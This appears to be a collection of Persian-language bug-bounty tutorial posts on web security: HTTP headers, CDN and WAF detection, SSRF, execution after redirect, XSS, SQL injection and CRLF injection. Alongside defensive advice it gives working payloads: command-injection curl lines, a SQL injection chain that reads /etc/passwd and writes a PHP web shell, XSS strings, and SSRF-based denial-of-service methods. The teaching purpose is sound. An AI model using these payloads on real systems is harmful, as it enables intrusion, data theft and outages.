تفاوت هدر های Origin , Host, Referer =

این 3 تا هدر ممکنه خیلی وقتا یک آدرس رو به ما نشون بدن ولی خیلی با هم فرق میکنن و اینجا میخوایم اینارو یکی یکی توضیح بدیم تا فرقاشون رو یاد بگیریم.
1. Origin Header :
این هدر نشون میده که چه Originی داره درخواست Cross Origin میفرسته. برای مثال اگه سایت exmaple.com یک XHR بزنه به example2.com، مقدار هدر Origin میشه سایتی که درخواست رو فرستاده . ما نمیتونیم وقتی داریم XHR میزنیم به سایتی هدر Origin رو چیزی به غیر چیزی که هست بزاریم. برای مثال اگه از attacker.com یه XHR بزنیم به Bank.com و داخل کدمون بگیم که این هدر رو بفرست با مقدار Bnak2.com به این صورت:

setRequestHeader("Origin", "Bank2.com") 

مرورگر جلوشو میگیره.
ولی حالت استثنا هم داریم. میتونیم null بکنیم مقدار Origin رو. از این تکنیک توی حملات CORS Misconfiguration استفاده میشه.
حالا Null Origin یعنی چی؟ اگه از داخل سیستم شخصی خودمون یه فایل باز کنیم با مرورگر مثل فایل html و تو console بنویسیم Origin بهمون میگه null. ولی اگه تو localhost باشه null نمیشه Origin.

2. Referer Header :
نشون میده که ما از کجا اومدیم. برای مثال اگه داخل سایت example.com باشیم وداخل سایت یه لینکی وجود داشته باشه به example2.com وقتی روی لینک کلیک میکنیم داخل هدر Referer به example2.com میگیم که از کجا اومدیم به اینجا.
این یک هدر امنیتی نیست و به راحتی جعل میشه پس نباید امنیت هیچ چیزی بر پایه چک کردن این هدر باشه.

آسیب پذیری Cross Domain Referrer Leakage :

هدر Referer میتونه این اطلاعات رو داخلش داشته باشه:
Protocol, Hostname, Path, Request data
اگه داخل query string ها اطلاعات حساسی وجود داشته باشه و تو هدر Referer افشا بشه آسیب پذیری به وجود میاد. برای مثال تو قسمت reset password سایت به اکانت من یه token رندوم میده به این صورت:

site.com/user/reset_pass.php?token=38uior3ugr3oi

و من روی سایت هایی که تو Footer سایت لینک شدن که به عنوان third party شناخته میشن کلیک میکنم، اینجا token من واسه اون سایت ها ارسال میشه و آسیب پذیریه.
نمونه گزارش این آسیب پذیری:
https://hackerone.com/reports/265740

3. Host Header :
بطور خلاصه دامنه ای هستش که ما سعی میکنیم بازش کنیم.
اگه بخوایم یکم دقیق تر بررسی کنیم این هدر میشه همون Virtual Host در سرور. وقتی TCP Handshake اتفاق میفته با آیپی سروری که میخوایم بازش کنیم، مرورگر داخل این هدر دامنه ای که ما سعی کنیم باز کنیم رو میفرسته واسه سرور و سرور باید دنبال همچین Virtual Hostی بگرده و اگه وجود داشته باشه response رو به ما نشون بده. اگه بخوایم روی یک آیپی دامنه های مختلفی داشته باشیم از Virtual Host استفاده میکنیم.
یکی از آسیب پذیری هایی که ممکنه به وجود بیاد Host Header Injection هست که در آینده بهش اشاره میکنیم.

#http_headers

باید و نباید ها در Javanoscript قسمت اول =

1. File Reading :
اگه با زبون هایی مثل python, php و... کار کرده باشین میدونین که این زبان ها یا تقریبا همه زبان های برنامه نویسی میتونن با فایل ها کار کنن و read , write رو روی فایل ها اعمال کنن. این زبون های برنامه نویسی سمت backend کاربرد دارن و میتونن به فایل های سرور دسترسی داشته باشن. ولی جاوااسکریپت چطور؟ جاوااسکریپت یک زبان سمت کلاینت هست و روی مرورگر اجرا میشه (بدون استفاده از runtime ها و...) ولی برخلاف بقیه اجازه نداره به فایل های کاربر دسترسی داشته باشه.
حالا چطور کاربر باید فایل های خودشو به web application تحویل بده؟ با html form به این صورت :

<form action="save_file.php" method="post">
  <input type="file" name="myfile">
  <input type="submit">
</form>

و کاربر باید خودش فایل رو انتخاب کنه از سیستمش و ارسال کنه. و Javanoscript یا html نمیتونه به بقیه فایل های کاربر که توسط خود کاربر انتخاب نشده دسترسی داشته باشه.

2. System API Access :
جاوااسکریپت نمیتونه System API هارو صدا بزنه ، در اصل مرورگر هیچ APIی واسه اینکار نداره.
ولی مثلا مرورگر برای چیزای مختلف API داره مثل بلوتوث که واسه ارتباط با دیوایس های بلوتوثی استفاده میشه. و وقتی این API پیاده سازی شده، مدیریت permission ها هم پیاده سازی شده که اول notification واسه کاربر ارسال میشه واسه دادن دسترسی به web pageی که میخواد از بلوتوث استفاده کنه.
#javanoscript

امنیت اپلیکیشن قسمت اول =

اگه به عنوان یک پنتستر/باگ هانتر از مراحل امنیت اپلیکیشن و راهکار هایی که موقع به خطر افتادن اپلیکیشن به کار میگیرن آشنا باشیم میتونیم عملکرد خیلی بهتری موقع تست نفوذ داشته باشیم.در ادامه این موارد رو کاور میکنیم که یاد گرفتنش باعث میشه دیدگاه بهتری داشته باشیم و به صورت غیر مستقیم تاثیر زیادی روی عملکرد ما میزاره.
تو پست های بعدی این موارد رو کاور میکنیم :

- وقتی یک آسیب پذیری zero day پیدا میشه همه سامانه ها آسیب پذیرن، چه راهکاری وجود داره واسه کاهش تهدیدات CVE های جدید.
- وقتی source code افشا شد و credentials های مربوط به database connection افشا شد، قبلش باید چیکار کرده باشیم تا مهاجم نتونه به دیتابیس ما نفوذ کنه؟
- وقتی دیتابیس افشا میشه با آسیب پذیری هایی مثل sql injection و backup disclosure، باید چه اقداماتی انجام داده باشیم تا مهاجم به اطلاعات کاربری مشتریان ما دست پیدا نکنه یا حداقل کارش سخت تر بشه؟
- تهدیدات نصب dependency های اپلیکیشن از جاهای غیر معتبر.
- شبکه DMZ چیه و کجا استفاده میشه؟
- مفهوم least privilege.
- چه هدر های امنیتی رو باید ست کنیم واسه جلوگیری از بعضی از حملات تحت وب.
- آپدیت نگه داشتن component های سرور
- نکات استفاده از WAF
- و...

که الان به برخی از موارد اشاره میکنیم.

1. آپدیت نگه داشتن اجزای سیستم :
یکی از روش های جلوگیری از آسیب پذیری های One day، آپدیت نگه داشتن همه component های سرور هست. برای مثال آپدیت نگه داشتن os و dependency های استفاده شده در پروژه(ممکنه واسه library های استفاده شده آسیب پذیری اومده باشه) و web server و زبان های استفاده شده و هر componentی که استفاده شده.

2. نکات استفاده از WAF :
وقتی سامانه رو بردیم پشت WAF بعدش حتما باید آیپی سرور رو تغییر بدیم. چون ممکنه آیپی ما وقتی که WAF نداشتیم تو پروژه هایی مثل IP History ثبت شده باشه و هکر با مراجعه به سایت هایی که این کارو انجام میدن میتونه به آیپی قبل از WAF برسه و WAF بایپس میشه(یکی از روش های به دست آوردن Origin IP تارگت همینه)
با این سایت میتونین IP History تارگت خودتون رو بررسی کنین:
https://viewdns.info/iphistory
ولی اگه بلافصله پس از اینکه از WAF استفاده کردیم، IP سرور رو تغییر بدیم هکر با این روش نمیتونه به آیپی ما دست پیدا کنه چون ثبت نشده تو دیتابیس های IP History.

#application_security

نمونه سوالات مصاحبه تست نفوذ وب:

https://tib3rius.com/interview-questions.html

#interview

دلیل به وجود اومدن آسیب پذیری ها =

آسیب پذیری های مختلفی تو web application ها وجود داره که به دلایل مختلف به وجود میان که الان میخوایم چند تا از دلیل های مهم رو نام ببریم.

1. User input:
بیشترین دلیل به وجود اومدن آسیب پذیری ها بخاطر کنترل نکردن ورودی کاربره. باید ورودی کاربر کنترل بشه که مخرب نباشه. برای مثال ورودی کاربر نباید حاوی این موارد باشه:
- کوئری و دستورات sql و nosql
- کاراکتر های URL encode مثل %0a و %00 و....
- کد های html و Javanoscript
- کد های زبان backend مثل system() در php
- دستور های OS مثل ping, nslookup, curl, dig و....

2. Security Misconfiguration:
آسیب پذیری هایی که به دلیل پیکربندی اشتباه به وجود میان. مثل استفاده از یوزرنیم و پسورد دیفالت واسه phpmyadmin.

3. عدم هماهنگی component های مختلف:
ناهماهنگی component های مختلف ممکنه باعث به وجود اومدن آسیب پذیری ها یا به وجود اومدن یک راه واسه bypass مکانیزم های امنیتی بشه که به دو مورد هم اشاره میکنیم.

1⃣ به وجود اومدن آسیب پذیری:
آسیب پذیری HTTP Request Smuggling یک نمونه خوب برای این نوع از آسیب پذیری هاس که به دلیل ناهماهنگی نحوه پردازش HTTP Packet ها بین Origin Server و Reverse Proxy به وجود میاد.
2⃣به وجود اومدن یک راه واسه Bypass:
فرض کنین که یک WAF بین هکر و سرور قرار داره. درخواست اول میره واسه WAF و WAF دیتای ارسال شده رو Decrypt میکنه، چون دیتا وقتی با SSL رمزنگاری شده تو حالت عادی نمیتونه داخلش رو بخونه و حملات رو تشخیص بده. واسه همین Private key مربوط به SSL دامنه رو به WAF میدن تا بتونه دیتارو باز کنه و بخونه Packet رو تا بتونه حملات رو تشخیص بده. حالا ممکنه همه الگورتیم های رمزنگاری که وب سرور تارگت پشتیبانی میکنه رو WAF پشتیبانی نکنه و اینجاس که هکر میتونه از این ناهماهنگی سواستفاده کنه. هکر از الگوریتمی استفاده میکنه که سرور پشتیبانی میکنه ولی WAF پشتیبانی نمیکنه و باعث میشه WAF نتونه دیتارو بخونه و مجبور بشه بفرسته واسه سرور بدون چک کردنش و WAF دور زده میشه.
#vulnerabilities_root_cause

تشخیص استفاده از CDN =

⁉️چرا مهمه ما بدونیم یک domain از CDN استفاده میکنه؟
1⃣ وقتی CDN هست یعنی با Reverse proxy سرو کار داریم و ممکنه آسیب پذیری هایی مثل Request Smuggling وجود داشته باشه و باید جزو test case ما باشه.
2⃣ یکی از ویژگی هایی که CDN داره مکانیزم Caching هست. آسیب پذیری هایی که موقع مواجه شدن با یک Cache server باید تست کنیم cache deception و cache poisoning هست که باید به test caseمون اضافشون کنیم.
3⃣ معمولا CDN ها WAF هم دارن. پس باید انتظار اینو داشته باشیم که جلوی خیلی از پیلود های مارو بگیره مخصوصا وقتی به صورت Automate Scan کار میکنیم. این میتونه با nuclei باشه و یا استفاده از افزونه های(auto repeater و match and replace) که وقتی با web application تو مرورگر کار میکنیم، خود burp پیلود های از پیش نوشته شده مارو واسه پارامتر های مختلف بفرسته. اینجا سعی میکنیم از پیلود های پیچیده تر استفاده کنیم که بلاک نشیم و یا به دنبال IP اصلی تارگت بگردیم که درخواست رو مستقیم بفرستیم چون باعث میشه درخواست ما به WAF نرسه.
4⃣ وقتی میخوایم Port Scan انجام بدیم باید روی IP اصلی تارگت اینکارو انجام بدیم و واسه اینکار قبلش باید متوجه CDN باشیم و به دنبال IP اصلی تارگت باشیم.

⁉️حالا چطور تشخیص بدیم یک IP متعلق به CDN هست؟
هر CDN چندین Range IP داره. اگه آیپی تارگت جزو Range IP هر CDNی بود، یعنی تارگت از CDN استفاده میکنه. ولی چطور اینو انجام بدیم؟
ابزاری وجود داره به نام cut-cdn که این کارو برامون انجام میده. بهش دامنه میدیم و آیپی هایی که متعلق به CDN نیستند رو به ما میده.

echo example.com | cut-cdn

ولی با این وجود باید به صورت دستی هم بتونیم تشخیص بدیم که تارگت از CDN استفاده میکنه یا ن. حالا چرا؟
چون هر ابزاری ممکنه یک روزی آپدیت نشه و نتونه به درستی کار کنه.

⁉️چطور به صورت دستی CDN رو تشخیص بدیم؟(این روش ممکنه false positive یا false negative هم داشته باشه)
1⃣ اول با دستور ping یا dig آیپی تارگت رو به دست میاریم و همونو تو مرورگر باز میکنیم. اگه با صفحات CDN ها مثل cloudflare و... مواجه شدیم یعنی CDN وجود داره.
2⃣ اگه محتوایی که بالا اومد همون محتوایی باشه که موقع باز کردن دامنه تارگت باهاش مواجه میشیم یعنی CDN وجود نداره.
3⃣ اگه اصلا بالا نیومد و یا محتوایی که لود میشد نه به CDN و نه به تارگت شباهت داشت چی؟ ممکنه اینجا هاست اشتراکی داشته باشیم. یعنی تارگت ما یک virtual host از یک سرور هست. اینجا باید به اون IP درخواست بزنیم و به عنوان Virtual host اسم تارگت رو بهش بدیم:

curl http://127.0.0.1 --header "Host: example.com" -v

اگه همون محتوایی لود شد که موقع باز کردن تارگت تو مرورگر لود میشه، یعنی IP متعلق به CDN نیست.

#CDN
#WAF

آسیب پذیری SSRF =

یکی از آسیب پذیری های Server side هست که مهاجم میتونه سرور رو مجبور کنه به جایی که هکر میخواد درخواست بزنه. دوتا حالت داره یکی full SSRF و یکی هم Blind SSRF. توی حالت full SSRF ما نتیجه درخواستی که زدیم رو میبینیم، مثلا اگه به https://evil.com درخواست بزنیم، response اون سایت برامون میاد. ولی تو حالت blind درخواست زده میشه ولی ما response رو نمیبینیم.

⁉️حالا چیکارا میشه باهاش کرد؟
1⃣ خوندن فایل های روی سرور.
2⃣ استفاده از سرور آسیب پذیر به عنوان یه Proxy و انجام port scan.
3⃣ انجام DOS.
4⃣ تبدیل به RCE.
5⃣ دسترسی به سرور های internal تارگت.
6⃣ به دست آوردن IP اصلی تارگت.

که الان میخوایم روش های تبدیل SSRF به DOS رو بگیم و بقیه موارد رو تو پست های بعدی کاور میکنیم.

- روش های تبدیل SSRF به DOS :

1⃣ درخواست زدن به 127.0.0.1. این باعث میشه سرور به خودش تو شبکه داخلیش درخواست بزنه. باید برای این یه اسکریپت بنویسیم که مثلا هر دقیقه 100 بار اینکارو انجام بده.
2⃣ روش قبلی خیلی بهینه نیست، چون درخواست تو شبکه داخلیه و پکت خیلی سبکه. اما اگه سرور رو مجبور کنیم به https://target.com که خودش هست درخواست بزنه چی؟ اینجا مجبورش میکنیم 3 way handshake و SSL handshake و Name resolution رو روی خودش انجام بده و چون هم sender و هم receiver خودش هست، منابع بیشتری نسبت به روش قبلی درگیر بشه و در نتیجه روش موثرتری هست برای DOS.
3⃣ گفتیم که تو آسیب پذیری SSRF ما سرور رو مجبور میکنیم به جایی که ما میخوایم درخواست بزنه. حالا اگه مجبورش کنیم به لینک دانلود یه دیتای سنگین مثل لینک دانلود مستقیم سیستم عامل درخواست بزنه چی؟ سرور شروع میکنه به دانلود کردن اون دیتا و باعث میشه پهنای باند بیاد پایین. همچنین دیتایی که دانلود میشه تو مموری ذخیره میشه و مموری یه حجم محدود تری از هارد هست و اگه اینکارو تو چند Tab انجام بدیم احتمال خیلی زیاد سایت down میشه. وقتی هم که شروع به دانلود میکنه مرورگر حالتی مثل refresh دائم رو داره تا وقتی که کامل دانلود بشه و ثابت میکنه که داره دانلود میشه(این روش جایی پابلیک نیست و طبق ریسرچ خودم بهش رسیدم).
از این روش میشه به عنوان یکی از آخرین راه حل های به impact رسوندن blind SSRF هم استفاده کرد. حتی اگه نتونیم به RCE تبدیلش کنیم و یا Port Scan انجام بدیم، استفاده از این روش باعث میشه availability تارگت به خطر بیفته و blind SSRF ما به impact برسه.

#SSRF
#Research
#DOS

یه آسیب پذیری ظاهرا بی ارزش =

کد زیر رو در نظر بگیرین:

<?php
session_start();
if($_SESSION['is_admin'] != true)
{
    header("Location: /home.php");
}
// Application code is here
?>

سناریو اینه که این فایل مربوط به یکی از فایل های پنل ادمینه که طبیعتا باید فقط ادمین دسترسی داشته باشه، از داخل sessionی که برای هر کاربر ست کرده چک میکنه ببینه اگه سطح دسترسی ای که به این کاربر داده ادمین نبود redirect کنه به صفحه home.
مشکلی که تو این کد هست اینه که درسته redirect میکنه ولی جلوی اجرا شدن کد رو نمیگیره بعد redirect و باعث میشه مابقی کد هم اجرا بشن بعد redirect. ولی چه تهدیدی داره؟
1⃣ افشا شدن response بعد از redirect :
اگه با دستور زیر به اون مسیر curl بزنیم میتونیم کل ریسپانس رو ببینیم:

curl https://target.com/admin_panel.php

نکته : ما فقط میتونیم response رو ببینیم نه سورس کد اپلیکیشن. ممکنه برنامه نویس از توابعی استفاده کرده باشه که اطلاعات مهمی رو روی صفحه چاپ کنه مثل echo. برای درک بهتر کد زیر رو در نظر بگیرید :

<?php
if($_SESSION['is_admin'] != true)
{
    hedaer("Location : /home.php");
}

echo "username : adm2ish";
echo "password : pa19ehw";
?>

2⃣ تست آسیب پذیری های مختلف!
کد زیر رو در نظر بگیرین:

<?php
session_start();
if($_SESSION['is_admin'] != true)
{
    header("Location: /home.php");
}
if (isset($_GET['cmd']) && !empty($_GET['cmd'])) {
    $admin_input = $_GET['cmd'];
    echo system("ping $admin_input");
} else {
    echo "No command provided.";
}
?>

آسیب پذیری ای که این کد داره Command Injectionهست. ولی نکته ای که مهمه اینه که این صفحه چون redirect میکنه خیلیا اینجا parameter fuzz انجام نمیدن و آسیب پذیری های این صفحه فقط با دسترسی ادمین قابل دیدن و تست کردنه، ولی بخاطر اشتباه برنامه نویس مهاجم میتونه parameter fuzz انجام بده و آسیب پذیری های مختلفی رو تست کنه که بسته به logic برنامه ممکنه آسیب پذیری های مختلفی رو داشته باشه. اگه باگ هانترین حتما به این نکته توجه داشته باشین موقع مواجه شدن با redirect ها.
نمونه پیلود با curl برای تست آسیب پذیری :

curl "https://target.com/admin_panel.php?cmd=1.1.1.1|whoami"
curl "https://target.com/admin_panel.php?cmd=1.1.1.1||whoami||"
curl "https://target.com/admin_panel.php?cmd=1.1.1.1;whoami"

نکته مهم : کد های نوشته شده با php رو اگه تو سیستمتون اجرا کنین به درستی کار نمیکنن چون باید خودتون session کاربر رو ست کنین.

⁉️روش جلوگیری چیه؟

بعد redirect باید جلوی اجرا شدن ادامه کد رو بگیریم که میتونیم با توابع زیر انجام بدیم:

<?php
exit()
die()
?>

اسم آسیب پذیری :
Execution After Redirect = EAR

#EAR
#parameter_fuzz

امنیت اپلیکیشن قسمت دوم =

وقتی CVE جدید واسه یک نرم افزار یا محصول پابلیک میشه، مدتی طول میکشه تا برنامه نویس های اون نرم افزار آسیب پذیری مربوطه رو patch کنن و ورژن جدید اون نرم افزار رو منتشر کنن.

❓تو همچین حالتی همه سامانه هایی که از اون نرم افزار استفاده میکنن آسیب پذیر هستند، چه راهکاری وجود داره واسه جلوگیری از آسیب رسیدن به سامانه؟
مفهومی وجود داره با نام virtual patching. تا زمانی که روش جلوگیری یا ورژن patch شده‌ی نرم افزار منتشر بشه، باید signature های اون CVE رو در WAF بلاک کنیم که به صورت موقت جلوی آسیب پذیری گرفته بشه تا وقتی که به صورت کامل آسیب پذیری رو patch کنیم. و یا اگه آسیب پذیری هایی مثل blind OS command injection وجود داشت که به صورت مستقیم امکان بهره برداری وجود نداشت و نفوذگر حتما باید out of band میزد، با Firewall جلوی ارسال درخواست به بیرون رو بگیریم.

نکته برای هانترا : افرادی که به صورت mass hunting روی CVE ها کار میکنن، ممکنه تارگتی داشته باشن که CVE مربوطه رو داشته باشه ولی با WAF جلوشو گرفته باشن. این به این معنی نیست که آسیب پذیری وجود نداره و فقط باید از تکنیک های WAF Bypass استفاده کنن که یکی از ساده ترین روش ها پیدا کردن IP اصلی تارگته.

#application_security
#mass_hunting
#WAF

Authentication & Authorization =

پروتکل HTTP یک پروتکل stateless هست. اگه شخصی دوبار پشت سرهم به وب سرور درخواست بفرسته، HTTP متوجه نمیشه که این کاربر همون کاربر قبلیه که درخواست فرستاده بود یعنی وضعیت کاربر رو نگه نمیداره. واسه حل این مشکل پروتکل باید وضعیت کاربر رو جایی ذخیره کنیم(باید یک شناسه از کاربر رو نگه داریم). یکی از اولین ویژگی ها و مکانیزمی که واسه این کار به وجود اومد session بود. برنامه نویس بعد از login برای کاربر یک session سمت سرور ست میکرد که بتونه کاربر رو بشناسه و Authentication و Authorization رو میتونست هندل کنه. session سمت سرور معمولا داخل یک فایل ذخیره میشه و بعد بسته شدن مرورگر کاربر از بین میره.

❓حالا Authentication و Authorization چین؟ Authentication مشخص میکنه من کیم و ما تو این مرحله باید ثابت کنیم که چه کسی هستیم. Authorization بعد از مرحله Authentication میاد و مشخص میکنه کاربر به چه چیز هایی دسترسی داره(سطح دسترسی های مختلفی تو یک web application وجود داره، هر کاربر فقط باید بتونه اطلاعات خودش رو ویرایش کنه و ببینه و همچنین کاربر معمولی نباید به فایل های ادمین سایت دسترسی داشته باشه)
❓کوکی یا cookie چیه؟
بخاطر مشکلی که session داشت و بعد بستن مرورگر از بین میرفت، cookie رو ساختن. Cookie تو مرورگر کاربر ذخیره میشه و طول عمرش دست برنامه نویسه و به خاطر همین کاربر میتونه مدت زمان بیشتری لاگین باشه. Session ID که سمت سرور بود رو به صورت encrypt داخل cookie قرار میدن که کاربر نتونه دست کاریش کنه. به ازای هر درخواستی که کاربر میفرسته سمت سرور، مرورگر به صورت خودکار cookie رو هم واسه اون دامنه میفرسته.
❓ انواع روش های Authentication:
1⃣ Basic Authentication
2⃣ Dijest Authentication
3⃣ Form base Authentication
4⃣ Certificate Authentication
5⃣ Integrated Windows Authentication
6⃣ Token base Authentication(JWT in header)
7⃣ OAuth
8⃣ SSO

هر کدوم از روش های Authentication محدودیت ها و آسیب پذیری های مربوط به خودش رو داره. برای مثال :
- تو token base Authentication آسیب پذیری هایی مثل csrf و cors misconfiguration و cache deception به وجود نمیاد.
- وقتی اطلاعات تو cookie یا localstorage ذخیره میشه با xss میشه اطلاعات رو خوند ولی اگه تو header باشه با xss نمیتونیم بخونیمش.
- روش Basic Authentication آسیب پذیره به MITM.
- تو OAuth یک آسیب پذیری نسبتا بی ارزش مثل open redirect میتونه منجر به Account Takeover بشه.
- روش Integrated Windows Authentication مختص شبکه های مایکروسافتیه.
- روش های certificate Authentication و Integrated Windows Authentication رو تو شبکه های داخلی معمولا استفاده میکنن.
- اگه private key تو certificate Authentication لو بره منجر به mitm میشه.
- وقتی از session استفاده بشه کاربر نمیتونه دست کاریش کنه بر خلاف سایر موارد که سمت کاربر ذخیره میشه(برنامه نویس باید با encryption جلوی تغییر cookie/jwt و.... رو بگیره).
- تو form base Authentication اگه مواردی مثل Error handling رو انجام ندیم ممکنه آسیب پذیری username enumeration به وجود بیاد.
#Authentication

معرفی یک passive recon کاربردی =

این سرویس به صورت passive این موارد رو انجام میده:
1⃣ passive port scan
2⃣ passive CVE scan
3⃣ passive vhost discovery(hostname)

https://internetdb.shodan.io/8.8.8.8

مهم: ورودی فقط آیپی میگیره. بدون API key و به صورت رایگان کار میکنه.
#passive_recon

metasploit 15%
active + attacks 41%
mitre 15%
owasp top 10 29%
طبق تجمیع دو نظر سنجی آموزش اکتیو‌دایرکتوری + حملات به صورت عملی میریم جلو تقریبی 20 تا قسمتی باید بشه که تمام حملات کاور بشه و سعی میکنم بیس شبکه بیشتر توضیح بدم چون میدونم این بیس شبکه بین کسانی که شروع میکنن خیلی کمرنگ هست
جهت حمایت از بنده کانال ساب کنید حتما نظرتتان کامنت بزارید که آموزش کاربردی جلو بره
https://youtube.com/@soheilsec

https://youtu.be/FOhSQLbM0mI?si=ZeE07diDn87fivI1

رایتاپ دسترسی از یه کمپانی بزرگ(سناریو حمله پیچیده)
#writeup

آسیب پذیری XSS =

وقتی ورودی کاربر داخل مقدار متغیر های JavaScript قرار بگیره، یکی از این 3 حالت رو شامل میشه:

var xss= 'value1';
var xss= "value2";
var xss= `value3`;

برای XSS زدن تو حالت 1 و 2 میتونیم از این 2 روش استفاده کنیم:
1️⃣ میتونیم تگ <noscript> رو ببندیم و پیلود خودمون رو بنویسیم.

</noscript><img src=x onerror=alert()>

2️⃣میتونیم با ' یا " از مقدار متغیر break کنیم و کد خودمون رو بنویسیم و مابقی کد رو کامنت میکنیم.

var xss = 'value1';alert(origin);//';

تو حالت سوم ورودی کاربر داخل دوتا backtick قرار گرفته که میتونیم مستقیم کد JavaScript اجرا کنیم بدون break یا بستن تگ:

var xss= `${alert(origin)}`

ساختار پیلود:

${JS_code_is_here}

تارگت برای مورد سوم:
https://brutelogic.com.br/gym.php?p20=fuzz

#XSS

جاهایی که محدودیت کاراکتر دارین تو XSS و نیاز به اجرای یک JS خارجی دارین، میتونین از این سایت استفاده کنین:
https://14.rs


#XSS

Web Application & Server security checklist:
https://www.certifiedsecure.com/checklists/

#checklist

Bug Bounty Methodology =

وقتی تارگت به این شکله:
*.target.tld
باید subdomain هارو پیدا کنیم و همه اونارو تست کنیم. میتونیم با افزونه logger++ که برای burp هست قسمتی از کارمون رو راحت تر کنیم. اول باید هرچی subdomain داریم تو مرورگر باز کنیم و با functionality های مختلف از جمله login و register کار کنیم. بعد از کار کردن با functionality های مختلف میتونیم از این سرچ ها استفاده کنیم.

1⃣ پیدا کردن response هایی که حاوی اطلاعاتی مثل email خودمون هستند.
کاربرد: تست cors , cache deception , xssi روی این صفحات.

Response.Body CONTAINS "myemail@gmail.com"

2⃣ پیدا کردن subdomain هایی که تو response های مختلف وجود دارند.

Response.Body CONTAINS ".target.com"

تو این قسمت ممکنه به subdomain های جدیدی برسیم.

3⃣ پیدا کردن email های متعلق به کمپانی که تو response های مختلف افشا شدند:

Response.Body CONTAINS "@company-name.tld"

میتونیم Reverse whois روی email ها انجام بدیم و به دارایی های بیشتری از اون شرکت برسیم.
#vulnerability_hunting
#bug_bounty_methodology

آسیب پذیری SQL injection =

از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.

فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:

app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

1⃣ تبدیل SQLi به XSS:
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود <img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.

app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

و XSS اتفاق میفته.

2⃣ خوندن فایل های درون سرور:
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:

app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

3⃣ ساختن و نوشتن فایل درون سرور:
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.

app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.

app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:

shell.php?cmd=whoami

4⃣ دسترسی به سایر دیتابیس ها:
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.

database()
@@database
Version()
@@version

ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.

به دست آوردن لیست همه ی دیتابیس ها:

app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.

#SQLi

آسیب پذیری CRLF injection =

اگه هکر به عنوان user input به وب اپلیکیشن کاراکترهای CRLF یا همون
%0d%0a
رو تزریق کنه و وب اپلیکیشن رو تحت تاثیر قرار بده آسیب پذیری به وجود میاد.
❓به صورت کلی CRLF چیه؟ همون کلید Enterخودمون.
❓چه زمانی آسیب پذیری به وجود میاد؟ وقتی که ورودی کاربر به صورت ناامن در یک response Header قرار بگیرد.
پیش نیازها:

1. هر Header با Header بعدی با یک CRLF جدا میشود.
2. آخرین Header با Body با دو CRLF جدا میشود.

کاربردها:

1. سواستفاده از CRLF برای bypass کردن.
2. اکسپلویت سایر آسیب پذیری ها.
3. به وجود آوردن آسیب پذیری های مختلف‌.

1⃣ سواستفاده از CRLF برای bypass کردن:
اگه تو حملات injection نیاز به bypass داشتیم میتونیم از CRLF استفاده کنیم. برای مثال در command injection میتونیم از 0a% به عنوان یک command separator استفاده کنیم وقتی که سایر command separator هایی مثل | در blacklist قرار دارند.
و یا در XSS وقتی نیاز به بستن تگ داریم برای اکسپلویت و اجازه نداریم تگ رو ببندیم، از CRLF برای bypass استفاده میکنیم.
</noscript> ❌
</noscript%0a> ✅

2⃣ اکسپلویت سایر آسیب پذیری ها:
وقتی آسیب پذیری تو header ها وجود داره، برای اکسپلویت باید از CRLF injection کمک بگیریم در غیر این صورت آسیب پذیری self هست.
برای مثال اگه مقدار هدر X-Forwarded-For تو صفحه reflect میشه و XSS میخوره، واسه اکسپلویت آسیب پذیری باید با یک CRLF injection ترکیب بشه(راه های دیگه ای هم برای اکسپلویت این نوع XSS وجود داره مثل cache poisoning)

3⃣ به وجود آوردن آسیب پذیری های مختلف:
اگه ورودی کاربر در Response Header ها قرار بگیره، میتونیم response در دستکاری کنیم و به آسیب پذیری های مختلفی برسیم. فرض کنین که ورودی کاربر در قالب پارامتر username در cookie قرار میگیرد، ما میتونیم با دوتا CRLF زدن، Body رو کنترل کنیم و پیلود XSS خودمون رو قرار بدیم:

app.php?username=salam%0d%0a%0d%0a<img src=x onerror=alert()>

نکته آخر:
ممکنه بتونیم با این آسیب پذیری response هدر های امنیتی رو غیر فعال یا بازنویسی کنیم در مرورگر قربانی.

#CRLF_injection

https://beaglesecurity.com/blog/tag/vulnerability/
یک منبع خوب برای آشنایی با حملات مختلف(خلاصه میگه و به هر کدوم که علاقه مند بودین باید بیشتر دربارش بخونین)
#resource